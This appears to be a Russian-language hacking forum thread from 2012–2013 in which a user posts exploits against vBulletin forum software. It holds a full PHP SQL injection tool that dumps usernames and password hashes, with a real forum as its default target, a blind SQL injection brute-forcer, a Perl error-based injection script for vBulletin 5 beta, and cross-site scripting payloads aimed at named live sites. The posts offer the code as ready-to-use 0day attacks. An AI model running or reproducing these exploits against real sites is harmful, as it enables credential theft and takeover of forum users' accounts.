<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title> vBulletin 3.x / 4.x  / 5.x remote SQL Injection PHP exploit [b][y] Cold z3ro </title>
</head>
<body>

<form method="post"/>
<table width="100%" border="0">
<tr>
<td>target</td>
<td><input type="text" value="<? if($_POST[host]) {echo $_POST[host]; }else{echo 'http://forum.dnevno.hr/';} ?>" name="host" size="70" />
</td>
</tr>
<tr>
<td>userid</td>
<td><input type="text" value="<? if($_POST[uid]) {echo $_POST[uid]; }else{echo '1';} ?>" name="uid" size="6" /><input type="submit" name="exp" value="Exploit-it"/></td>
</tr>
</table>
</form>

<div>

<?php

/**
* @exploit  vBulletin 3.x/4.x/5.x ( quick_replay ) remote SQL Injection PHP exploit
* @author  Cold z3ro
* @site  http://www.hackteach.org , http://www.s3curi7y.com
* @copyright   26-12-2012
* @about it    Its depends on ajax.php file, and comments quick replay via ajax file if anabled.
* @Note  This exploit coded for english language vBulletin forums,
* @Note.  non english exploit will faild,you need to exploit it manually
* @Note.  or to edit some variables depends on the fourm main language.
* @Note.  Exploit takes time while executing.
* @type  0day, danger  
**/

set_time_limit(0);
ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');

function fetchinj( $string, $str, $end ){
$string = " ".$string;
$ini = strpos( $string,$str );
if ($ini == 0) return "";
$ini += strlen( $str );
$len = strpos( $string,$end,$ini ) - $ini;
return substr( $string,$ini,$len );
}

function pagethis( $surl ){
$ch = curl_init();
curl_setopt ( $ch, CURLOPT_URL, $surl );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
ob_start();
curl_exec ( $ch );
curl_close ( $ch );
$data = ob_get_contents();
ob_end_clean();
return $data;
}

if ($_POST['exp']){
$host = $_POST['host'];
$uid = $_POST['uid'];

if( !eregi('http://', $host)){
die('use "http://" in the link you moron');
}else{

$back = substr($host,-1,1);
if ($back !="/"){
$lnk = "/ajax.php";
}else{
$lnk = "ajax.php";
}

$lnk.= '?do=';
$lnk.= 'quick_replay';
$lnk.= "&t=";

# checking site requirement
$link2check   = pagethis( $host.'showthread.php?t=210' );
$_link2check  = pagethis( $host.'showthread.php?t=400' );
$check1 = strstr( $link2check, 'You are not logged' );
$check2 = strstr( $link2check, 'If you followed a valid link' );
$check3 = strstr( $_link2check, 'If you followed a valid link' );

if( $check1 == true ){
die('Exploit Faild: target need login authentication');
}else if( $check2 == true and $check3 == true ){

# make the exploit exactly and much better
# looking for 25 $_GET[t];
for( $i=5; $i<30; $i++ ){
$multicheck = pagethis( $host.'showthread.php?t='.$i.'' );
$what2check = strstr( $multicheck, 'vBulletin Message' );
$found  = array( $what2check );
foreach ( $found as $value => $val ){
if ( !$val[0] )
break 2;
}  

}

}

# Injecton SQL.
$exp = '+union+select+1,2,3,';
$exp.= 'concat(0x7a33726f31,username,0x0d0a,password,0x7a33726f32)';
$exp.= ',5,6,username,8,9,10,11,12,13,14,15,16,17';
$exp.= '+from+user+where+';
$exp.= 'userid='.$uid.'--';

if ( $i ){
$exp = $host.$lnk.$i.$exp;
}else{
$exp = $host.$lnk.'32'.$exp;
}

$extinj = pagethis( $exp );
$result = fetchinj( $extinj, 'z3ro1', 'z3ro2' );
//print_r($result);

if ( $result[1] ){
echo 'Exploit fineshed :<br><br>'.$result;
}else{
echo 'Exploit Faild';
}
}
}

# Eof

?>
</div>

</body>
</html>
тот самый что продавали на 1337day.com за 500$
проверяйте, хакиры

Добавлено через 1 час 21 минуту
Код:
# Exploit Title: Helpful Answers XSS
# Date: September 23 2012
# Software Version: All
# Product Download: http://www.vbulletin.org/forum/showthread.php?t=233296
POC:
Код:
helpfulanswers.php?do=topanswers&sortfield=[XSS]
Proof:
Код:
http://forum.roadfly.com/helpfulanswers.php?do=topanswers&sortfield="><script>alert(document.cookie);</script>

Последний раз редактировалось hooligan; 07.12.2012 в 01:06.. Причина: Добавлено сообщение
  Ответить с цитированием
4 cпасибо от:

Старый 12.12.2012, 02:56   #14
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

vBulletin 3.x / 4.x AjaxReg SQL Injection

Код:
#!/usr/bin/php
<?

# vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit
# https://lh3.googleusercontent.com/-4HcW64E57CI/ULWN9mDnK8I/AAAAAAAAABo/cc0UA9eV_ak/s640/11-26-2012%25206-02-5s3%2520AM.png
# check it : [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]

function usage ()
{
    echo
        "\n[+] vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit".
        "\n[+] Author: Cold z3ro".
        "\n[+] Site  : [Ссылки видны только зарегистрированным пользователям. Зарегистрироваться] | http://www.s3curi7y.com".
        "\n[+] vandor: http://www.vbulletin.org/forum/showthread.php?t=144869".
        "\n[+] Usage : php 0day.php <hostname> <path> [userid] [key]".
        "\n[+] Ex.   : php 0day.php localhost /vBulletin/ 1 abcdefghijklmnopqrstuvwxyz".
        "\n[+] Note. : Its a 0day exploit\n\n";
    exit ();
}
 
function check ($hostname, $path, $field, $pos, $usid, $char)
{
    $char = ord ($char);
    $inj = 'ajax.php?do=CheckUsername&param=';
  $inj.= "admin'+and+ascii(substring((SELECT/**/{$field}/**/from/**/user/**/where/**/userid={$usid}),{$pos},1))={$char}/*";
  $culr = $hostname.$path.$inj;
  $curl = curl_init();
  curl_setopt ($curl, CURLOPT_URL, $culr );
  curl_setopt($curl, CURLOPT_HEADER, 1);
  curl_setopt($curl, CURLOPT_VERBOSE, 0);
    ob_start();
    curl_exec ($curl);
    curl_close ($curl);
    $con = ob_get_contents();
    ob_end_clean();
  if(eregi('Invalid',$con))
      return true;
    else
        return false;
}
 
 
function brutechar ($hostname, $path, $field, $usid, $key)
{
    $pos = 1;
    $chr = 0;
    while ($chr < strlen ($key))
    {
        if (check ($hostname, $path, $field, $pos, $usid, $key [$chr]))
        {
            echo $key [$chr];
            $chr = -1;
            $pos++;
        }
        $chr++;
    }
}
 
 
if (count ($argv) != 4)
    usage ();
 
$hostname = $argv [1];
$path = $argv [2];
$usid = $argv [3];
$key = $argv [4];
if (empty ($key))
    $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
 
echo "[+] Username: ";
brutechar ($hostname, $path, "username", $usid, $key);
echo "\n[+] Password: ";
brutechar ($hostname, $path, "password", $usid, $key);
echo "\n[+] Done..";
echo "\n[+] It's not fake, its real.";
# word to 1337day.com, stop scaming me

?>
# livedemo :
  Ответить с цитированием

Старый 28.03.2013, 08:03   #15
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

Код:
# Exploit Title: vBulletin 5 Beta XX SQLi 0day
# Google Dork: "Powered by vBulletin™ Version 5.0.0 Beta"
# Date: 24/03/2013
# Exploit Author: Orestis Kourides
# Vendor Homepage: www.vbulletin.com
# Software Link:
# Version: 5.0.0 Beta 11 - 5.0.0 Beta 28
# Tested on: Linux
# CVE : None
 
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+===================================================+
|           vBulletin 5 Beta XX SQLi 0day           |
|              Author: Orestis Kourides             |
|             Web Site: www.cyitsec.net             |
+===================================================+
";
  
if (@ARGV != 5) {
    print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
    exit;
}
  
$host       = $ARGV[0];
$path       = $ARGV[1];
$username   = $ARGV[2];
$password   = $ARGV[3];
$magicnum   = $ARGV[4];
$encpath    = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
    [
        'url' => $encpath,
        'username' => $username,
        'password' => $password,
    ],
    Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
        'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
    ],
    User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1;
(c) exploit-db.com
  Ответить с цитированием
Спасибо от:

Старый 03.10.2013, 08:36   #16
Private Stuff
 
Аватар для hooligan


Обратиться по нику

Инфо
Регистрация: 20.05.2011
Сообщений: 314
Благодарностей: 829
ICQ: n/a
По умолчанию

Xss в хаке Extra IM and Network

сам хак _http://vbsupport.org/forum/showthread.php?t=41919
не фильтруется не одна переменная
ну а теперь о том, как юзать)

в usercp
Редактировать данные:
Имя в AIM - 1
Имя в М-Агент - <script> /*
Имя или ID в Вконтакте - */ alert(1); /*
Имя на YouTube - 5
Имя в Мой Мир (домен/имя) - 4
Имя или ID в Myspace - */</script>

[Ссылки видны только зарегистрированным пользователям. Зарегистрироваться]
  Ответить с цитированием
Спасибо от:
Ответ

Метки
0дейэксплоет, chrome, flanker, ghost, google, helpful, mysql, php, vbulletin, ники, фейк, хакеры


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Текущее время: 21:05. Часовой пояс GMT +4.



Powered by vBulletin
Copyright © 2009-2016 UinSell.Net
Лицензия зарегистрирована на: UinSell

Перевод: zCarot